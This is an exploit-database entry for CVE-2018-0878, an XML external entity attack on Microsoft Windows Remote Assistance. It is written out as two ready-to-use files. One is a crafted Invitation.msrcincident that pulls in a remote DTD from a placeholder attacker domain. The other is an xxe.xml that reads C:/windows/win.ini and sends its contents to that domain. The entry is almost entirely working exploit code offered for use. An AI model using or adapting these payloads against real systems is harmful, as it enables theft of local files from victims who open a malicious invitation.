Microsoft Windows Remote Assistance – XML External Entity Injection
# Exploit Title: Microsoft Windows Remote Assistance XXE # Date: 27/03/2018 # Exploit Author: Nabeel Ahmed # Tested on: Windows 7 (x64), Windows 10 (x64) # CVE : CVE-2018-0878 # Category: Remote Exploits Invitation.msrcincident ------------------------ <?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE zsl [ <!ENTITY % remote SYSTEM "http://<yourdomain.com>/xxe.xml"> %remote;%root;%oob;]> xxe.xml ------------------------ <!ENTITY % payload SYSTEM "file:///C:/windows/win.ini"> <!ENTITY % root "<!ENTITY % oob SYSTEM 'http://<yourdomain.com>/?%payload;'> "> Reference: https://krbtgt.pw/windows-remote-assistance-xxe-vulnerability/ Reference: Vulnerability discovered by Nabeel Ahmed (@NabeelAhmedBE) of Dimension Data (https://www.dimensiondata.com) |